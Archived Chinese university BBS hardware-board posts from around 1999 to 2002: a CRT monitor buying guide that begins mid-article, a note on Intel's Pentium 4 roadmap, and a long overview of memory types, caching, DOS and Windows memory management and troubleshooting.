1600*1200@75Hz，建议分辨率1280*1024@85Hz点距0.26mm，水平扫 描频率30-95KHz，垂直扫描频率50-160Hz。 华胜K7034特性评述：可选TCO95标准。可视面积大，性能不错， 功能齐全，性价比极高。 　 ACER 77e 价格2400元。采用日立显象管。 ACER 77e性能参数：带宽110MHz，最高分辨率 1280*1024@67Hz，建议分辨率1024*768@85Hz，点距0.27mm，水平扫 描频率30-72KHz，垂直扫描频率50-120Hz。 ACER 77e特性评述：符合TCO95标准。文本图像清晰度都不错， 亮度高。IKEY按键设计，调节功能非常丰富。 　 美格XJ700T(图：美格XJ700.jpg) 价格3500元。采用索尼特丽珑显象管。 美格XJ700T性能参数：带宽100MHz，最高分辨率1280*1024@67Hz， 建议分辨率1024*768@85Hz，点距0.25mm，水平扫描频率30-70KHz， 垂直扫描频率50-120Hz。 美格XJ700T特性评述：符合TCO92标准。带宽略小，价格不错。 　 美格770T 价格3750元。采用索尼特丽珑显象管。 美格770T性能参数：带宽100MHz，最高分辨率 1280*1024@67Hz，建议分辨率1024*768@85Hz，点距0.25mm，水平扫 描频率30-70KHz，垂直扫描频率50-150Hz。 美格770T特性评述：符合TCO99标准。功能齐全，“黄金眼”系 统，菜单聚焦调节，价格合适。 　 索尼17ES2 价格3900元。采用索尼特丽珑显象管。 索尼17ES2性能参数：带宽100MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.25mm，水平扫 描频率30-70KHz，垂直扫描频率48-120Hz。 索尼17ES2特性评述：符合TCO92标准。智能数字多频追踪系统， 多重聚焦电子枪，价格不高。 上述主流显示器，也包含了低、中、高三档，根据自己财力和喜 好来选择就够了。选择主流显示器的用户，其一般用途就是普通家 用、商用，除了学习、工作、上网等之外，也玩玩电脑游戏，但不是 烧到骨灰极，不然肯定不会满意上述这些主流显示器的。 　 玩家显示器推荐 这里所指的玩家，是指发烧极的玩家。经常留连于高画质的3D游 戏，对分辨率和画面质量有着近乎苛刻地要求。那么，适合这个档次 的显示器要求就比较高了：至少17英寸，至少珑管、还得是高档次珑 管，分辨率能上到1600*1200。这样的显示器有： 　 ACER 79g 价格4100元。采用三菱钻石珑显象管。 ACER 79g性能参数：带宽160MHz，最高分辨率 1600*1200@76Hz，建议分辨率1280*1024@85Hz，点距0.25mm，水平 扫描频率30-95KHz，垂直扫描频率50-160Hz。 ACER 79g特性评述：符合TCO95标准。性能不错，功能齐全，属 于高档显示器，但价格偏高。 　 ADI GT56 价格4300元。采用索尼特丽珑显象管。 ADI GT56性能参数：带宽203MHz，最高分辨率 1600*1200@60Hz，建议分辨率1280*1024@85Hz，点距0.25mm，水平 扫描频率30-96KHz，垂直扫描频率50-160Hz。 ADI GT56特性评述：符合TCO99标准。性能不错，高档显示器， 但价格偏高。 其他的就不一一详细列举性能参数了，它们包括： 索尼CDP-200GS、GDM-200PS 三菱NFF8705 CTX中强PR710 优派GT775、P775、PT775 ADI 5GT NEC E750 把美格770T和LG 795FT+列入主流显示器，一方面是因为他们价 格都在主流显示器的范围内，可以说是相当不错的价格了；另一方面 呢，则是因为它们还多多少少有些不如人意的地方，如果不考虑这一 点点因素的话，这两款显示器列入发烧玩家的选择圈也是可行的。 　 专家显示器推荐 专家肯定要用专家极的显示器，因为他们多半要把显示器运用到 CAD设计、图形图象处理、多媒体影象编辑等等专业图形领域，玩家 们的显示器其实都非常棒，但专家们或许会觉得还是小了些。 其实，专家极的显示器是最好找的，去卖那些名牌显示器的商 家，抱一台最大的就得了，19、20、21英寸甚至更大的，分辨率至少 达到1600*1200无闪烁的85Hz刷新率甚至更高，文字图形清晰无比， 可是银子，哎，心疼呀！ 　 完全平面显示器 最近显示器方面的热点，就是完全平面显示器了。在LG 795FT+ 孤独地领军了一阵子，三星DYNAFLAT IFT又没什么动静之后，基于索 尼FD Trinitron（平面珑）显象管和三菱NF钻石珑显象管的完全平面 显示器，一下子猛扑过来。市场上索尼的GDM-F系列、三菱的Diamond Pro系列、美格的796FD等等、ADI的平幕王系列、CTX中强的超平面专 家系列、ACER的79g NF、EIZO的新产品等，就好象约好了似的，整齐 出现。还有采用自己的完全平面技术的Decaview的 ActualFlat系 列、NEC的 MultiSync FP950、日立的完全平面系列、优派的 PT795，也都来凑热闹。一时间，大有铺天盖地之势，把昔日那些高 端显示器，压得抬不起头来，让它们黯然失色。 完全平面显示器无失真、无眩光、更清晰，自然比以前的显示器 更优秀一些，这些显示器，也完全都符合玩家极和专家极用户的要 求，但之所以要在这里单独列出，就是要强调它们的重要性，因为它 们将成为CRT显示器发展的必然趋势！ 相信显示器市场会被明显冲击，往日的高档柱面显示器，包括一 些稍差的完全平面显示器，肯定会被迫掉价，而显示器升级的大好时 机，就要到来了！ 未完待续，请看下一篇“显示设备综述——发展篇” 本站设备综述部分将在近日全面更新，请关注本站。 飞翔鸟 于铠 1999年12月5日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.143] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Longhorn (Longhorn), 信区: Hardware 标 题: 未来主流CPU何去何从---Intel：我“芯”依旧 发信站: 日月光华 (2002年07月02日05:13:43 星期二), 站内信件 Intel：我“芯”依旧 说了那么久的AMD，怕是Intel要坐不住了。不过即使AMD处心积虑的使出众多"法宝"来与 之对抗，Craig Barret领衔的Intel依旧控制着整个市场的主流，特别是桌面和移动CPU 部分，看来在一段时间之内其地位仍然无人能撼。而伴随着近期Intel屡屡出手调价，相 信马上将有一批新面孔出现在市场中。 在明年第三季度"Prescott"核心推出之前，Pentium 4还将是桌面市场的旗舰产品。Int el在Pentium 4核心上的演进会让这款处理器在相今后一段时间内仍旧霸占主流DIY市场 。市场上有两种核心的Pentium 4，采用0.18微米制造的Willamette核心和全面替代前者 的0.13微米Northwood核心，接口规范也有旧的Socket423和目前主流的Socket478。Wil lamette止步在了2GHz，而拥有512KB L2 Cache的Northwood核心将不断提升频率，并且 会继续分支成两个版本：400MHz FSB和533MHz FSB。533MHz FSB的Pentium 4不日将以2 .26MHz的起始频率出现在主流市场中。 由于533MHz FSB的Pentium 4技术规格并未变化很大，升级至更快速的CPU而不更换主板 还是可行的。并且在Intel官方网站公布的蓝图中（如图 3所示）也只是轻描淡写地列出 了850和845两大类芯片组，并未具体指定特定的芯片组。 当然作为Intel一贯作风，它是不会放弃这一推出新芯片组的决好时机的，因此在未来， 我们会看到基于诸如850E，845E、845G、845GL、甚至845GLL等一系列芯片组的主板。居 然有那么多，笔者都觉得眼花，还是列张表格清楚一些。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.83.6.1] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
-------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 内存综述 发信站: 日月光华站 (Fri Mar 26 11:57:14 1999) , 转信 (飞翔鸟) 当今的计算机，CPU的速度越来越快、性能越来越高。作为 计算机系统中最重要的资源之一的内存的容量也大幅增加，目前 主流内存的配置已是32M、有的甚至已达64M或128M，是IBM公司 推出的第一台PC机16KB的几千倍，速度也有了很大的提高。但内 存速度方面的增长却远远落于CPU的发展，已成为计算机速度和 性能进一步提高的瓶颈（Bottleneck）。CPU芯片的厂商通过向 芯片增加晶体管的方法，如增加数学运算单元，可以很容易地提 高CPU的性能，增加两倍的ALU几乎可以获得两倍的芯片速度。而 对于内存芯片来说增加更多的晶体管，只意味着能容纳更多的数 据，存取速度却得不到什么改善。所以，低速内存与高速CPU的 矛盾越来越尖锐，也受到了人们的普遍重视，本文将从内存的 “硬性”和“软性”两个方面，和朋友们一起聊聊内存的方方面 面。 “硬性”角度 存储器的分类： 内存是存储器的一种。存储器是计算机的重要 组成部分，按其用途可分为主存储器（Main Memory，简称主存）和辅助存储器（Auxiliary Memory，简称辅存），主存储器又称内存储器（简 称内存），辅助存储器又称外存储器（简称外存）。 外存通常是磁性介质或光盘，能长期保存信息，并且 不依赖于电来保存信息。 内存的分类： 内存的物理实质是一组或多组具备数据输入输 出和数据存储功能的集成电路。内存按存储信息的功 能可分为只读存储器（Read Only Memory）、可改 写的只读存储器EPROM（Erasable Programmable ROM）和随机存储器RAM（Random Access Memory）。ROM中的信息只能被读出，而不能被操作 者修改或删除，故一般用于存放固定的程序，如监控 程序、汇编程序等，以及存放各种表格。EPROM和一 般的ROM不同点在于它可以用特殊的装置擦除和重写 它的内容，一般用于软件的开发过程。RAM就是我们 平常所说的内存，主要用来存放各种现场的输入、输 出数据，中间计算结果，以及与外部存储器交换信息 和作堆栈用。它的存储单元根据具体需要可以读出， 也可以写入或改写。由于RAM由电子器件组成，所以 只能用于暂时存放程序和数据，一旦关闭电源或发生 断电，其中的数据就会丢失。现在的RAM多为MOS型 半导体电路，它分为静态和动态两种。静态RAM是靠 双稳态触发器来记忆信息的；动态RAM是靠MOS电路 中的栅极电容来记忆信息的。由于电容上的电荷会泄 漏，需要定时给与补充，所以动态RAM需要设置刷新 电路。但动态RAM比静态RAM集成度高、功耗低，从 而成本也低，适于作大容量存储器。所以主内存通常 采用动态RAM，而高速缓冲存储器（Cache）则使用 静态RAM。另外，内存还应用于显卡、声卡及CMOS等 设备中，用于充当设备缓存或保存固定的程序及数 据。 动态RAM的分类： 动态RAM按制造工艺的不同，又可分为动态随机 存储器（Dynamic RAM）、扩展数据输出随机存储器 （Extended Data Out RAM）和同步动态随机存储 器（Synchromized Dynamic RAM）。DRAM需要恒电 流以保存信息，一旦断电，信息即丢失。它的刷新频 率每秒钟可达几百次，但由于DRAM使用同一电路来 存取数据，所以DRAM的存取时间有一定的时间间 隔，这导致了它的存取速度并不是很快。另外，在 DRAM中，由于存储地址空间是按页排列的，所以当 访问某一页面时，切换到另一页面会占用CPU额外的 时钟周期。其接口多为72线的SIMM类型。EDO-RAM同 DRAM相似，它取消了扩展数据输出内存与传输内存 两个存储周期之间的时间间隔，在把数据发送给CPU 的同时去访问下一个页面，故而速度要比普通DRAM 快15~30%。工作电压为一般为5V，其接口方式多为 72线的SIMM类型，但也有168线的DIMM类型。SDRAM 同DRAM有很大区别，它使用同一个CPU时钟周期即可 完成数据的访问和刷新，即以同一个周期、相同的速 度、同步的工作，因而可以同系统总线以同频率工 作，可大大提高数据传输率，其速度要比DRAM和 EDO-RAM快很多（比EDO-RAM提高近50%），最大可达 到120MHz，是当前PC机中流行的标准内存类型配 置。工作电压一般为3.3V，其接口多为168线的DIMM 类型。 两种接口类型： 上面提到了SIMM接口类型和DIMM类型接口，下 面分别说说它们是怎样一种技术。SIMM是Single-In Line Memory Medule的简写，即单边接触内存模 组，这是5X86及其较早的PC机中常用的内存的接口 方式。在更早的PC机中（486以前），多采用30针的 SIMM接口，而在Pentium中，应用更多的则是72针的 SIMM接口，或者是与DIMM接口类型并存。DIMM是 Dual In-Line Memory Module的简写，即双边接触 内存模组，也就是说这种类型接口内存的插板的两边 都有数据接口触片，这种接口模式的内存广泛应用于 现在的计算机中，通常为84针，但由于是双边的，所 以一共有84×2=168线接触，故而人们经常把这种内 存称为168线内存，而把72线的SIMM类型内存模组直 接称为72线内存。DRAM内存通常为72线，EDO-RAM内 存既有72线的，也有168线的，而SDRAM内存通常为 168线的。 有关内存的常见技术指标： 接下来我们来谈谈有关内存的人们普遍关心的 各种技术指标，一般包括引脚数、容量、速度、奇偶 校验等。引脚数可以归为内存模组的接口类型，这里 不再赘述。容量这一指标是我们比较关心的，因为它 将直接制约系统的整体性能。另外，内存条是否以完 整的存储体（Bank）为单位安装将决定内存能否正 常工作，这与计算机的数据总线位数是相关的，不同 机型的计算机，其数据总线的位数是不同的。内存条 通常有8MB、16MB、32MB、64MB等容量级别，其中 32MB、64MB内存已成为当前的主流配置，而用于诸 如图形工作站的内存容量已高达128MB或512MB，甚 至更高。内存条芯片的存取时间是内存的另一个重要 指标，其单位以纳秒（ns）度量，换算关系为 1ns = 10^-3us = 10^-6ms = 10^-9s 常见的有60ns、70ns、80ns、 120ns等几种，相应在内存条上标为-6、-7、-8、 -120等字样。这个数值越小，存取速度越快，但价 格也便随之上升。在选配内存时，应尽量挑选与CPU 时钟周期相匹配的内存条，这将有利于最大限度的发 挥内存条的效率。内存慢而主板快，会影响CPU的速 度，还有可能导致系统崩溃；内存快而主办慢，结果 只能是大材小用。所以，对于DIY（Do It Yourself）一族决不应忽视对内存条的选购。内存 条有无奇偶校验位是人们常常忽视的问题，奇偶校验 对于保证数据的正确读写起到很关键的作用，尤其是 在进行数据量非常大的计算中。标准型的内存条有的 有校验位，有的没有；非标准的内存条均有奇偶校验 位。另外，对于常见机型中，有无奇偶校验位一般均 可正常工作，但需要注意的是，在CMOS的SETUP中关 于奇偶校验的OFF/ON的设置必须与实际的内存条情 况相一致，同时，这也导致一台计算机中内存条的配 置要么都带奇偶校验位，要么都不带，决不可混用。 内存条上是否有奇偶校验位，可以很容易的从外观上 看出：每根内存条上有9或3个芯片的含有奇偶校验 位，而有8或2个芯片的内存条没有奇偶校验位。 高速缓冲存储器： 上面介绍的基本都是常说的内存的方方面面， 下面我们来认识一下高速缓冲存储器，即Cache。我 们知道，任何程序或数据要为CPU所使用，必须先放 到主存储器（内存）中，即CPU只与主存交换数据， 所以主存的速度在很大程度上决定了系统的运行速 度。程序在运行期间，在一个较短的时间间隔内，由 程序产生的地址往往集中在存储器的一个很小范围的 地址空间内。指令地址本来就是连续分布的，再加上 循环程序段和子程序段要多次重复执行，因此对这些 地址中的内容的访问就自然的具有时间集中分布的倾 向。数据分布的集中倾向不如程序这么明显，但对数 组的存储和访问以及工作单元的选择可以使存储器地 址相对地集中。这种对局部范围的存储器地址频繁访 问，而对此范围外的地址访问甚少的现象被称为程序 访问的局部化（Locality of Reference）性质。 由此性质可知，在这个局部范围内被访问的信息集合 随时间的变化是很缓慢的，如果把在一段时间内一定 地址范围被频繁访问的信息集合成批地从主存中读到 一个能高速存取的小容量存储器中存放起来，供程序 在这段时间内随时采用而减少或不再去访问速度较慢 的主存，就可以加快程序的运行速度。这个介于CPU 和主存之间的高速小容量存储器就称之为高速缓冲存 储器，简称Cache。不难看出，程序访问的局部化性 质是Cache得以实现的原理基础。同理，构造磁盘高 速缓冲存储器（简称磁盘Cache），也将提高系统的 整体运行速度。目前CPU一般设有一级缓存（L1 Cache）和二级缓存（L2 Cache）。一级缓存是由 CPU制造商直接做在CPU内部的，其速度极快，但容 量较小，一般只有十几K。PⅡ以前的PC一般都是将 二级缓存做在主板上，并且可以人为升级，其容量从 256KB到1MB不等，而PⅡ CPU则采用了全新的封装 方式，把CPU内核与二级缓存一起封装在一只金属盒 内，并且不可以升级。二级缓存一般比一级缓存大一 个数量级以上，另外，在目前的CPU中，已经出现了 带有三级缓存的情况。Cache的基本操作有读和写， 其衡量指标为命中率，即在有Cache的系统中，CPU 访问数据时，在Cache中能直接找到的概率，它是 Cache的一个重要指标，与Cache的大小、替换算 法、程序特性等因素有关。增加Cache后，CPU访问 主存的速度是可以预算的，64KB的Cache可以缓冲 4MB的主存，且命中率都在90%以上。以主频为 100MHz的CPU（时钟周期约为10ns）、20ns的 Cache、70ns的RAM、命中率为90%计算，CPU访问主 存的周期为：有Cache时，20×0.9+70× 0.1=34ns；无Cache时，70×1=70ns。由此可见， 加了Cache后，CPU访问主存的速度大大提高了，但 有一点需注意，加Cache只是加快了CPU访问主存的 速度，而CPU访问主存只是计算机整个操作的一部 分，所以增加Cache对系统整体速度只能提高10~20% 左右。 购买内存时应注意的问题： 通过前面的介绍，可以看到内存在计算机中地 位的重要性，如果内存质量不好，将直接影响计算机 的性能、甚至造成机器不能正常使用。目前市场上主 流内存的价格一般在300~800元不等，并且是“鱼龙 混杂”，在这里有必要介绍一些购买内存时应注意的 问题。型号冒充：一般是指用普通DRAM冒充EDO-RAM 或用168线的EDO-RAM冒充168线的SDRAM。普通DRAM 与EDO-RAM都是72线的，形态上并无太大的差别，只 是产品型号不一样，故而不易分辨。我们可以通过两 种方法加以判别。第一，普通DRAM产品号最后两位 数字一般为“00”，而EDO-RAM产品号最后两位一般 是“03、04、07”等，这时直观判别的最简单方 法。第二，用430TX芯片组的主板BIOS进行测试，这 样可以自动识别内存的类型是DRAM还是EDO-RAM。由 于较早的EDO-RAM也有168线的，与目前市场上的168 线SDRAM在外观上的差别几乎没有，这便为卖假提供 了“机遇”，可是装到机器上一试便露真相。在 430TX芯片组的主板BIOS自检中也能检测出它的确切 型号。速度冒充：速度冒充是目前常见的造假方式， 并且“应用广泛”，对消费者的危害也最大。它是通 过各种手段把内存的速度标记打磨后涂改成较高速的 现象，虽然外表被更改，但实际速度并未提高。这样 的内存在较低的机器配置中，一般不易发现，但若是 机器配置较高或主板对内存的要求较严格，那么便有 可能出现死机或不能引导等现象。在购买时，可以用 手反复摩擦内存条上的速度标记，看其是否有退色的 现象，如果出现退色或字迹便模糊，便有理由怀疑是 打磨过的内存条。优劣冒充：一般是指用普通内存条 冒充原装内存条。虽然原则上说，只要内存的各种技 术指标一致，便可以兼容或替代，但由于制造工艺及 水平的差别，造成一般情况下并不能用普通内存替代 原装内存，所以在给原装机购买内存时要特别留意， 最好找制造商解决问题，而不要自己去市场购买。好 坏冒充：一般是指把用过的内存又拿到市场中售卖， 可能单个的内存没有问题，但和别的内存组合使用便 有可能出现不能正常引导等现象。这种情况比较复 杂，应仔细辨认，有时把几个内存条交换一下位置或 更换一下个别内存的插槽，便有可能解决问题。总 之，在购买时，应尽可能地购买较熟悉的品牌内存， 如现代、NEC、GOLDSTAR、KINGSTON等公司的产 品。同时要仔细看制作是否精致、边脚切割是否整 齐、芯片插脚有无锈迹、标记是否清晰易辨等。如果 条件允许，可用软件进行指标测试，常用的软件有 QAPLUS 6.0、HWINFO 4.0等，也可在Windows中运 行一个大型游戏，观看其稳定性和兼容性如何。 其它类型的内存： 这里介绍的其它类型的内存包括Flash Memory （即闪速存储器）、FRAM（即Ferroeelectric RAM，简称铁电体）、WRAM（即Windows RAM）、3D RAM。Flash Memory由Intel公司首先提出，目前广 泛应用于便携式计算机的PC卡内存领域。这是一种非 挥发性存储技术，除非对它施加一个大电压进行擦 除，否则一直可以保持原状态不变。保存数据不需电 池的支持（不加电的情况下，信息可储存长达十年之 久）及可再写、大容量（有的已达40MB）是它的显 著特点。它的访问时间可低至30ns，比硬盘驱动器 快100~1000倍、抗震能力相差约10倍，并且耗电量 很低，这对便携机非常有吸引力。FRAM也是一种非 挥发性存储器，在制作过程中使用了铁，是早期大型 机中曾采用的铁氧体磁芯的内存的推陈出新。它经过 多次写操作后性能不会退化，克服了Flash Memory 的问题，应用领域大为扩大，因此一些人非常看好 FRAM的前景，并把它称作“最终RAM”，如果实用的 FRAM芯片开发获得成功，使之具有足够的密度 （16MB的产品早已宣布生产），FRAM有望成为DRAM 的最终替代品。WRAM由SAMSUNG公司提出的，它是一 个双端口内存，在RAM芯片上增加了更多的电路，从 而提高了图形操作速度，为处理图像增加了一些智 能。WRAM以较低的价格获得比VRAM更好的效果，这 是因为它有自己的处理能力和内部总线，这使得常见 图形及图像的一般效果处理无需离开显示RAM芯片而 求助主处理器。3D RAM是由Mitsubishi和Sun Microsystem两家公司共同提出的图像和动画领域中 的另一种方案。它的芯片中具有Z缓冲电路，通常情 况下，3D图形卡通过寻找Z缓冲区的像素才可以画出 一个3D像素，同时Z缓冲区还要存储该位置原来那个 像素的Z坐标，3D RAM内部设有一个ALU，因此可以 直接在RAM芯片进行所有的RAM操作。但它不像3D视 频卡具有读、判断、写、画像素的能力，它只是把像 素写到3D RAM，而有后者决定是否显示。内置的ALU 还可执行光栅操作、Alpha混合和比较，采用3D RAM 的视频卡每秒可输送180万个多边形（每个多边形有 100个像素），这比使用VRAM的视频卡快9倍。 “软性”角度 CPU的寻址能力： 通常人们认为，内存容量越大，处理数据的能 力也就越强，但内存容量不可能无限的大，它要受到 系统结构、硬件设计、制造成本等多方面因素的制 约，一个最直接的因素取决于系统的地址总线的地址 寄存器的宽度（位数）。Intel公司早期的CPU产品 的地址总线和地址寄存器的宽度为20位，即CPU的寻 址能力为220=1048576字节=1M字节；286的地址总线 和地址寄存器的宽度为24位，CPU的寻址能力为 224=16M字节；386及386以上的地址总线和地址寄存 器的宽度为32位，CPU的寻址能力为232=4096M字节 =4G字节。也就是说，如果机器的CPU过早，即使有 很大的内存也不能得到利用，而对于现在的PⅡ级的 CPU，其寻址能力已远远超过目前的内存容量。 各种内存： 虽然现在是Windows一统天下，内存的分配已不 需使用者管理，但由于Windows也需DOS得初始自 举，所以了解内存的划分也不无必要。在DOS环境 下，PC使用的内存有三种类型：系统存储器 （System Memory）、扩展存储器（Extended Memory）和扩充存储器（Expanded Memory）。 系统存储器： 它对应IBM PC最初的1MB存储地址，又被分为常 规内存（Conventional Memory）和上端内存 （Upper Memory）。常规内存也经常被称为低端内 存、基本内存或自由内存，是0~640KB之间的线性空 间，其容量为640KB。在工作期间，它通常用来存放 系统程序和用户的程序及数据，它的最大的三个占用 者分别为DOS系统、内存驻留程序（TSR）和应用程 序。除以上三个占用者外，常规内存中还包括中断向 量表、BIOS数据区、用户通信区和系统数据区。因 此，常规内存是微机中非常重要的资源之一，对其进 行优化配置显然非常必要。上端内存通常也被称作上 位内存、高端内存、保留内存、BIOS内存或适配器 内存，是640KB~1MB之间的线性空间，其容量为 384KB。这部分内存通常留给系统使用，如视频缓 冲、BIOS等。在这部分内存中，总有一部分是空闲 的，一般称之为上位内存块（Upper Memory Block，简称UMB），通常位于768KB~960KB之间， 其大小受系统所配置的显示器有关，可以利用 EMM386、386MAX、QEMM386等应用软件予以利用。 扩展内存XMS： 扩展内存通常也被称为XMS存储器，为了更有效 的使用扩展内存，由Lotus、Intel、Microsoft和 AST联合制定了扩展内存的使用规范EMS（Extended Memory Specification），事实上它已成为使用扩 展内存的国际标准。EMS定义了内存的三个特定区域 的分配，即：高端存储区HMA（High Memory Area）、上端内存块UMB（Upper Memory Blocks） 和扩展存储块EMB（Extended Memory Blocks）。 HMA是1024KB~1088KB之间的线性空间，其容量为 64KB，通过激活第21条地址线（A20）可以在实模式 下直接访问，它只能作为单独的存储块处理，不能分 割共享，只能调入一个单独的程序。UMB是上端存储 器中未用的地址空间，通过专门的硬件和内存管理程 序可以在实模式下访问这部分空间。EMB是1088KB以 上的地址空间，只能在保护模式下访问使用，是非常 重要的内存资源。 扩充内存EM： 它是微机处理器寻址范围之外的物理存储器， 它通常安装在一块专门的扩充内存板上，插入微机的 扩展槽中使用。它与扩展内存有三点不同：各种PC机 都能使用扩充内存，而扩展内存只能在286以上的机 器上使用；扩充内存只能存放数据，不能存放程序代 码，而扩展内存则都可以存放；扩展内存安装在PC的 内存插槽上，而扩充内存安装在PC的扩展槽上。 “影子”内存： “影子”内存（Shadow RAM，或称ROM Shadow）是为了提高系统效率而采用的一种专门技 术，它把系统主板上的系统ROM BIOS和适配器卡上 的视频ROM BIOS等拷贝到系统RAM内存中去运行，其 地址仍使用它们在上位内存中占用的原地址。更确切 地说，是从扩展内存中拿出一部分物理存储空间，而 赋以ROM的原地址，由这部分扩展RAM代替原ROM。由 于ROM采用静态CMOS电路，其存取速度为200ns左 右，而系统存储器RAM采用动态CMOS电路，其存取速 度进几十ns，速度快好几倍，将存放在ROM中的BIOS 代码（基本输入输出例行程序，它们在系统运行期间 非常频繁的被调用）拷贝到系统RAM中去，就可提高 系统运行和显示的速度和效率，它的设置在CMOS中 完成，如Video ROM Shadow C000，32K：Enabled （对视频BIOS的设置为“打开”），其他设置类 似。另外，386DX以上的机器标准配置均有4MB以上 内存，此时系统一般都自动保留几十KB甚至384KB的 物理内存供“影子”内存使用，即使CMOS中设置为 Disabled，这些物理内存也照样保留，因此，不如 把其选项均设置为Enabled，充分享受“影子”内存 的优越性。 虚拟内存： 由于计算机的主存一般是由半导体存储器件构 成的，受其成本和工艺的制约，主存的存储容量受到 了限制；另一方面，系统程序和应用程序要求主存容 量越来越大，为解决这个矛盾，虚拟存储技术便油然 而生。所谓虚拟存储技术是建立在主存和辅存物理结 构基础之上，有附加硬件装置及操作系统存储管理软 件组成的一种存储体系，它将主存和辅存的地址空间 统一编址，形成一个庞大的存储空间。在虚拟存储系 统中，基本信息传送单位可采用段、页或段页等几种 不同的方式。在Windows操作系统中，虚拟内存由 Windows系统统一管理，用户不必考虑内存的大小， 只需按自己的实际需要去做便可以了。 Windows中的虚拟内存： 除了利用HIMEM.SYS、EMM386.EXE、 DEVICEHIGH、LOADHIGH和MEMMAKER.EXE等命令对内 存进行优化外，在386增强模式中，Windows系统也 采用了虚拟内存管理机制，即使用交换文件来模拟额 外的物理内存，这种方法对提高Windows的性能非常 有用，对低配置的机器尤为如此。交换文件实际上是 建立在硬盘上的一个隐含文件，分为临时交换文件和 永久交换文件。临时交换文件为WIN386.SWP，它随 Windows系统的启动而产生，随着退出Windows系统 而消失，在Windows 9x系统中，它位于C:\Windows 目录下；永久交换文件为386SPART.PAR，它不管 Windows运行与否都存在于硬盘上。一般情况下，使 用更多的是临时交换文件，但在硬盘空间允许的情况 下，使用永久交换文件更好一些，因为它在磁盘上以 连续方式存放，存取速度比临时交换文件快得多。 Windows突破了DOS的640KB常规内存的局限，但 Windows在内存管理上有本身的隐忧：第一，它允许 程序占用前1MB的内存，而该区域实际上是为一些特 殊的需求而留用的资源，如果此区域被占用，当这些 特殊需求出现时，Windows往往会发现资源已被占用 殆尽了；第二，Windows还需保持跟踪大量的自身需 要的以及正在运行当中的Windows应用程序的用户界 面信息，这样，在系统资源局部堆栈中就难有足够的 空间去容纳有可能想要运行的所有应用程序的相关信 息；第三，偶尔可能出现耗尽内存的情况。Windows 保持有7层系统资源局部堆栈，每层都有单独的16位 指针寻址，即每层堆栈不超过64KB。每一个堆栈中 都包含有对Windows系统正常运作至关重要的信息， 当其中任何一个堆栈的自由空间少于30%时，系统的 运行速度就会明显降低，同时系统变得很不稳定，各 方面显得迟钝无为，频繁出现“Out of Memory”错 误，实际上此时可能还有数以兆计的系统内存没有被 使用。如果某个应用程序或驱动程序不正确的使用了 其中的一个资源栈，而导致堆栈被充满时，Windows 就会崩溃，即出现一般保护性错误GPF（General Protection Failure），此时系统连提示“Out of Memory”的机会都没有，只能重启机器了。针对这 种情况，简单的避免方法有：关注资源使用情况。最 简单的方法是用鼠标右键单击“我的电脑”、点“属 性”、点“性能”，查看“系统资源”的可用情况。 需说明的是，这里显示的是GDI和USER两个堆栈中剩 余空间较小的一个的情况。减少不必要字体。系统中 安装字体越多，所占内存空间也就越多，同时还会使 Windows的加载速度变慢。删除不必要的壁纸和屏 保。尽量减少同时运行的程序的数量。每打开一个应 用程序，Windows都会为其准备堆栈并开辟内存空 间，同时还要跟踪处于非激活状态的应用程序，这都 将占用本来就非常紧张的系统资源，所以，关闭暂时 不用的应用程序、减少“启动”项目中的程序的数 量，对缓解资源紧张的现象大有裨益。减少GPF的出 现。GPF具有很大的破坏性，可导致未存盘的文件内 容全部丢失。如某个软件或硬件使用了其它软件或硬 件占用的内存时，就会导致GPF发生。当系统中增加 了一个新的应用程序、一个带有驱动程序的硬件或是 重新对系统进行了配置时，最易出现GPF，其中，显 示驱动程序可能是GPF的主要根源之一。另外，经常 使用SCANDISK或CHKDSK对硬盘进行处理，修复错误 的FAT、交叉连接的文件以及丢失的簇等，也可在一 定程度上减少GPF的出现。 常见内存故障的排除 前面分别从“硬性”和“软性”两个角度分别介绍了关于内 存的方方面面，这里将就关于内存的常见故障及解决方法作一简 要介绍。内存故障多种多样，应根据具体情况具体解决，这里就 较常见的情况作一简要分析：CMOS的设置与内存不一致。要注意 一台机器的内存条奇偶校验应一致，两者不能混用，比如，内存 若是8片一条的，应将“Memory Parity Error Check：”设置 为Disabled，而若是9片一条的，应将“Memory Parity Error Check：”设置为Enabled。另外，有时虽能进入CMOS设置状 态，但退出时出现死机，这时有可能是购买了以低速内存冒充高 速内存的缘故，此时可把CMOS的“Cas Read Wait State：0 W/S”（读等待）和“Cas Write Wait State：0 W/S”（写等 待）设大一点，如把0改为1，以适应那些低速充当高速的内存 条。执行了MEMMAKER.EXE引起死机。在CONFIG.SYS和 AUTOEXEC.BAT中，有的程序不宜装入UMB，而在执行 MEMMAKER.EXE时加上了DEVICEHIGH或LOADHIGH，有时便会导致 死机。解决时可以在系统启动时按F8，逐一执行CONFIG.SYS和 AUTOEXEC.BAT的命令，直到出现死机的那一行，此处便是问题所 在，重新启动后，按F5进入DOS状态，在有问题的命令行前加上 REM语句或删除此命令行均可。由HIMEM.SYS设置不当引起的故 障。HIMEM.SYS有一个开关/MACHINE:XXXX，它用于指定用户使 用的A20处理器类型。一般地，HIMEM.SYS能检测系统正在使用的 是哪一种类型的A20处理器，如果报告A20处理器有问题（显示 “Unable to Contronal A20 Line”信息）或在高端内存区使 用MS-DOS有问题，用户就必须设置此值。XXXX开关的缺省设置是 at或1，用户可参照有关文档对此值进行必要设置。另外，应注 意HIMEM.SYS中是否使用了/A20CONTROL:OFF设置，如果设置为 OFF，机器运行速度将明显便慢，这时应将其设置为ON，其实， 默认设置即为ON。由Windows退到DOS后关机，数据出现未存盘而 莫名丢失。在DOS 6.2以前版本的SMARTDRV.EXE要在控制传给 COMMAND.COM之后才处理磁盘缓存的数据，所以，要等待5秒钟的 时间让SMARTDRV.EXE有时间完成操作。对于DOS 6.2以后的版 本，SMARTDRV.EXE会先清理缓存，然后在将控制传给 COMMAND.COM，所以，在这种情况下，当出现C:\>时，磁盘缓存 以被清理干净了，此时关机没有什么妨碍。如果使用的是 Windows自己所带的SMARTDRV.EXE，同时基于的DOS版本不甚 高，如DOS 6.0、5.0，这时5妙的约定同样有用。有时能正常启 动，有时不能正常启动。出现这种问题，说明系统硬件的控制逻 